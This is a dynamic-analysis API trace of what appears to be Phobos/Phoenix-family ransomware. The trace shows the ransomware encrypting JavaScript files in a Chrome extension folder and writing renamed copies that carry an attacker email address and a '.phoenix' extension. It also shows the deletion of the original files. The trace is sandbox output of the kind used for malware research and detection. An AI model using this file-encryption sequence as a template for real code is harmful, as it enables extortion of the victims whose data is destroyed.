	[0263.724] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\angular.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\angular.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.724] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.725] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.725] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\angular.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\angular.js.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.725] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151380) returned 1
	[0263.725] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.725] ReadFile (in: hFile=0x2b0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x8edf5, lpOverlapped=0x0) returned 1
	[0263.781] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x8ee00, dwBufLen=0x8ee00 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x8ee00) returned 1
	[0263.782] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x8ee00, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x8ee00, lpOverlapped=0x0) returned 1
	[0263.791] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151780) returned 1
	[0263.791] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.791] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0263.791] CryptDestroyKey (hKey=0x151780) returned 1
	[0263.791] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0263.792] CryptDestroyKey (hKey=0x151380) returned 1
	[0263.792] CloseHandle (hObject=0x2b0) returned 1
	[0263.792] CloseHandle (hObject=0x2c4) returned 1
	[0263.792] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\angular.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\angular.js")) returned 1
	[0263.798] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0263.798] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_game_sender.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_game_sender.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0263.824] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=167292) returned 1
	[0263.824] CloseHandle (hObject=0x254) returned 1
	[0263.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_game_sender.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_game_sender.js")) returned 0x20
	[0263.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_game_sender.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_game_sender.js.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.824] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_game_sender.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_game_sender.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0263.824] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.824] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.824] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_game_sender.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_game_sender.js.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.826] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1513c0) returned 1
	[0263.826] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.826] ReadFile (in: hFile=0x254, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x28d7c, lpOverlapped=0x0) returned 1
	[0263.868] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x28d80, dwBufLen=0x28d80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x28d80) returned 1
	[0263.869] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x28d80, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x28d80, lpOverlapped=0x0) returned 1
	[0263.871] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151540) returned 1
	[0263.871] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.871] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0263.871] CryptDestroyKey (hKey=0x151540) returned 1
	[0263.871] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0263.872] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0263.872] CloseHandle (hObject=0x254) returned 1
	[0263.872] CloseHandle (hObject=0x2c0) returned 1
	[0263.872] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_game_sender.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_game_sender.js")) returned 1
	[0263.873] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0263.873] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_route_details.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_route_details.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.874] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=246215) returned 1
	[0263.874] CloseHandle (hObject=0x2c0) returned 1
	[0263.874] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_route_details.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_route_details.js")) returned 0x20
	[0263.874] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_route_details.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_route_details.js.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.874] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_route_details.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_route_details.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.874] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.874] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.874] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_route_details.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_route_details.js.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0263.875] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1513c0) returned 1
	[0263.875] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.875] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x3c1c7, lpOverlapped=0x0) returned 1
	[0263.895] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x3c1d0, dwBufLen=0x3c1d0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x3c1d0) returned 1
	[0263.896] WriteFile (in: hFile=0x254, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x3c1d0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x3c1d0, lpOverlapped=0x0) returned 1
	[0263.899] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151500) returned 1
	[0263.899] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.899] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0263.900] CryptDestroyKey (hKey=0x151500) returned 1
	[0263.900] WriteFile (in: hFile=0x254, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0263.900] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0263.900] CloseHandle (hObject=0x2c0) returned 1
	[0263.900] CloseHandle (hObject=0x254) returned 1
	[0263.900] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_route_details.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_route_details.js")) returned 1
	[0263.902] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0263.902] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_sender.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_sender.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0263.902] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=49428) returned 1
	[0263.902] CloseHandle (hObject=0x254) returned 1
	[0263.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_sender.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_sender.js")) returned 0x20
	[0263.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_sender.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_sender.js.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.903] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_sender.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_sender.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0263.903] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.903] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.903] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_sender.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_sender.js.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.903] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1513c0) returned 1
	[0263.904] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.904] ReadFile (in: hFile=0x254, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xc114, lpOverlapped=0x0) returned 1
	[0263.959] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc120, dwBufLen=0xc120 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc120) returned 1
	[0263.960] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xc120, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xc120, lpOverlapped=0x0) returned 1
	[0263.961] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151400) returned 1
	[0263.961] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.961] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0263.961] CryptDestroyKey (hKey=0x151400) returned 1
	[0263.961] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0263.961] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0263.961] CloseHandle (hObject=0x254) returned 1
	[0263.961] CloseHandle (hObject=0x2c0) returned 1
	[0263.961] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_sender.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_sender.js")) returned 1
	[0263.962] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0263.962] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\cast_app_redirect.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\cast_app_redirect.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.964] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=242) returned 1
	[0263.964] CloseHandle (hObject=0x2c0) returned 1
	[0263.964] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\cast_app_redirect.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\cast_app_redirect.js")) returned 0x20
	[0263.964] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\cast_app_redirect.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\cast_app_redirect.js.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.964] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\cast_app_redirect.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\cast_app_redirect.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.964] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.964] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.964] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\cast_app_redirect.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\cast_setup\\cast_app_redirect.js.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0263.965] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1513c0) returned 1
	[0263.965] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.965] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xf2, lpOverlapped=0x0) returned 1
	[0263.966] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x100, dwBufLen=0x100 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x100) returned 1
